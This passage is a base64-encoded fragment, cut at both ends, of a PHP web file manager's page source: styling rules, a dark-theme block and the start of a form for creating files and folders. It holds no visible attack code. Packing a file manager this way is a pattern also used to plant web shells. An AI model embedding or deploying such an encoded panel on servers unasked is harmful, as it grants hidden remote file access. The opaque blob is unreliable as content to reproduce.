CAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9XCJuZXdmaWxlXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1UeXBlJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cInJhZGlvXCIgbmFtZT1cIm5ld2ZpbGVcIiBpZD1cImN1c3RvbVJhZGlvSW5saW5lMVwiIG5hbWU9XCJuZXdmaWxlXCIgdmFsdWU9XCJmaWxlXCIgY2hlY2tlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiZm9ybS1jaGVjay1sYWJlbFwiIGZvcj1cImN1c3RvbVJhZGlvSW5saW5lMVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiZm9ybS1jaGVjay1pbnB1dFwiIHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJuZXdmaWxlXCIgaWQ9XCJjdXN0b21SYWRpb0lubGluZTJcIiB2YWx1ZT1cImZvbGRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9XCJmb3JtLWNoZWNrLWxhYmVsXCIgZm9yPVwiY3VzdG9tUmFkaW9JbmxpbmUyXCI+PD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuX